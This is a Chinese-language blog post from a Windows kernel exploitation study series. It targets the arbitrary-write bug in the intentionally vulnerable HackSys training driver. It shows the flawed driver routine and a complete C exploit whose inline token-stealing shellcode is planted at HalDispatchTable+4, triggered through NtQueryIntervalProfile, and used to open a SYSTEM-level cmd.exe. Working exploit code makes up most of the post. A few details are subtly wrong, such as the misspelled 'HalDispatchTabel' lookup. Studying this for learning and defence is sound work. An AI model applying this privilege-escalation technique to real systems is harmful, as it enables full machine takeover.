Windows Kernel Exploit Study(2)

0x00:

第二部分关于任意地址写类型漏洞利用的demo

0x01: 环境相关

环境和前一篇文章中的环境配置相同

0x02:驱动及demo代码

驱动中的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/// <summary>
/// Trigger the Arbitrary Overwrite Vulnerability
/// </summary>
/// <param name="UserWriteWhatWhere">The pointer to WRITE_WHAT_WHERE structure</param>
/// <returns>NTSTATUS</returns>
NTSTATUS TriggerArbitraryOverwrite(IN PWRITE_WHAT_WHERE UserWriteWhatWhere) {
PULONG What = NULL;
PULONG Where = NULL;
NTSTATUS Status = STATUS_SUCCESS;

PAGED_CODE();

__try {
// Verify if the buffer resides in user mode
ProbeForRead((PVOID)UserWriteWhatWhere,
sizeof(WRITE_WHAT_WHERE),
(ULONG)__alignof(WRITE_WHAT_WHERE));

What = UserWriteWhatWhere->What;
Where = UserWriteWhatWhere->Where;

DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);

#ifdef SECURE
// Secure Note: This is secure because the developer is properly validating if address
// pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()
// routine before performing the write operation
ProbeForRead((PVOID)Where, sizeof(PULONG), (ULONG)__alignof(PULONG));
ProbeForRead((PVOID)What, sizeof(PULONG), (ULONG)__alignof(PULONG));

*(Where) = *(What);
#else
DbgPrint("[+] Triggering Arbitrary Overwrite\n");

// Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
// because the developer is writing the value pointed by 'What' to memory location
// pointed by 'Where' without properly validating if the values pointed by 'Where'
// and 'What' resides in User mode
*(Where) = *(What);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

return Status;
}

可以看到这个代码很简单粗暴,用户空间接收WhatWhere,然后向Where指定的地址写What内容。
根据Windows Kernel Exploit这个文档中给出的思路,覆盖HalDispatchTable + 4位置为tokenstealinshellcode的地址,然后触发这个内存覆盖,就可以利用这个漏洞来提权了。
下面是demo的代码,为了编译通过,有些地方做了略微的改动。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>
#include <TlHelp32.h>


#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN,0x802,\
METHOD_NEITHER, FILE_ANY_ACCESS)

#define KTHREAD_OFFSET 0x124
#define EPROCESS_OFFSET 0x044
#define PID_OFFSET 0x084
#define FLINK_OFFSET 0x088
#define TOKEN_OFFSET 0x0c8
#define SYSTEM_PID 0x004

VOID TokenStealingShellcodeWin() {
__asm {
pushad

mov eax, fs:[KTHREAD_OFFSET]
mov eax, [eax + EPROCESS_OFFSET]

mov ecx, eax
mov ebx, [eax + TOKEN_OFFSET]
mov edx, SYSTEM_PID

SearchSystemPID :
mov eax, [eax + FLINK_OFFSET]
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx
jne SearchSystemPID

mov edx, [eax + TOKEN_OFFSET]
mov[ecx + TOKEN_OFFSET], edx

popad
}
}

typedef struct _WRITE_WHAT_WHERE {
PULONG What;
PULONG Where;
}WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

typedef enum {
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemPathInformation,
SystemProcessInfomation,
SystemCallCountInformation,
SystemDeviceInformation,
SystemProcessorPerformanceInformation,
SystemFlagsInformation,
SystemCallTimeInformation,
SystemModuleInformation
}SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;

typedef struct {
PVOID Reserved1;
PVOID Reserved2;
PVOID Base;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD w108;
WORD NameOffset;
CHAR imageName[256];
}SYSTEM_MODULE, *PSYSTEM_MODULE;

typedef struct {
ULONG ModulesCount;
SYSTEM_MODULE Modules[0];
}SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef NTSTATUS(WINAPI *NtQuerySystemInformation_t)(IN SYSTEM_INFORMATION_CLASS, \
OUT PVOID SystemInformation, \
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);


typedef NTSTATUS(WINAPI *NtQueryIntervalProfile_t)(IN ULONG ProfileSource, \
OUT PULONG Interval);

int _tmain(int argc, _TCHAR* argv[]) {
PWRITE_WHAT_WHERE WriteWhatWhere = NULL;
PVOID HalDispatchTabel = NULL;
PVOID HalDispatchTabel4 = NULL;
HMODULE ntoskrnl = NULL;
PVOID kernelBase = NULL;
HMODULE ntdll = NULL;
//function
NtQuerySystemInformation_t NtQuerySystemInformation;
//////////////////////////////////////////////////////////////////
NTSTATUS Ntstatus = 0xc0000001;
SIZE_T ReturnLength;
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
PCHAR KernelImage;
PVOID KernelBaseAddressInKernelMode;
HMODULE hKernelInUserMode = NULL;
PVOID EopPayload = &TokenStealingShellcodeWin;
//////////////////////////////////////////////////////////////////
NtQueryIntervalProfile_t NtQueryIntervalProfile;
ULONG Interval = 0;
//////////////////////////////////////////////////////////////////
DWORD lpBytesReturned;
PVOID pMemoryAddress = NULL;
PULONG IpInBuffer = NULL;
LPCSTR lpDeviceName = (LPCSTR) "\\\\.\\HackSysExtremeVulnerableDriver";

printf("Getting the device handle\r\n");
HANDLE hDriver = CreateFileA(lpDeviceName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);

if (hDriver == INVALID_HANDLE_VALUE) {
printf("Failed to get device handle : (0x%X\r\n)", GetLastError());
return 1;
}
printf("Got the device Handle : 0x%X\r\n", hDriver);

WriteWhatWhere = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(), \
HEAP_ZERO_MEMORY, \
sizeof(WRITE_WHAT_WHERE));

//Step 3.
ntdll = GetModuleHandle(L"ntdll.dll");
NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(ntdll, \
"NtQuerySystemInformation");

Ntstatus = NtQuerySystemInformation(SystemModuleInformation, \
NULL, \
0, \
&ReturnLength);
pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), \
HEAP_ZERO_MEMORY, \
ReturnLength);
Ntstatus = NtQuerySystemInformation(SystemModuleInformation, \
pSystemModuleInformation, \
ReturnLength, \
&ReturnLength);

KernelBaseAddressInKernelMode = pSystemModuleInformation->Modules[0].Base;
KernelImage = strrchr((PCHAR)pSystemModuleInformation->Modules[0].imageName, '\\') + 1;

//Step 1 and 2:
printf("KernelImage : %s\n", KernelImage);
hKernelInUserMode = LoadLibraryA(KernelImage);
HalDispatchTabel = (PVOID)GetProcAddress(hKernelInUserMode, "HalDispatchTabel");

//Step 4:
HalDispatchTabel = (PVOID)((ULONG)HalDispatchTabel - (ULONG)hKernelInUserMode);
HalDispatchTabel = (PVOID)((ULONG)HalDispatchTabel + (ULONG)KernelBaseAddressInKernelMode);

HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation);
FreeLibrary(ntdll);
FreeLibrary(hKernelInUserMode);

//end
HalDispatchTabel4 = (PVOID)((ULONG)HalDispatchTabel + sizeof(PVOID));
WriteWhatWhere->What = (PULONG)&EopPayload;
WriteWhatWhere->Where = (PULONG)HalDispatchTabel4;

printf("\t[*]Where : 0x%p\n", WriteWhatWhere->Where);
printf("\t[*]What : 0x%p\n", WriteWhatWhere->What);
printf("\t[*]Exp : 0x%p\n", EopPayload);

printf("Send IOCTL request\r\n");

DeviceIoControl(hDriver,
HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
(LPVOID)WriteWhatWhere,
sizeof(WriteWhatWhere),
NULL,
0,
&lpBytesReturned,
NULL);

//triger the memory overwrite
ntdll = LoadLibraryA("ntdll.dll");
NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(ntdll, "NtQueryIntervalProfile");
NtQueryIntervalProfile(0x1337, &Interval);
HeapFree(GetProcessHeap(), 0, (LPVOID)WriteWhatWhere);
system("cmd.exe");
printf("IOCTL request completed,cleaning up da heap.\r\n");
CloseHandle(hDriver);
return 0;
}

代码在这里

0x03: Exploit

在运行exp.exe之前

运行之后

0x04:参考与引用

Windows Kernel Exploit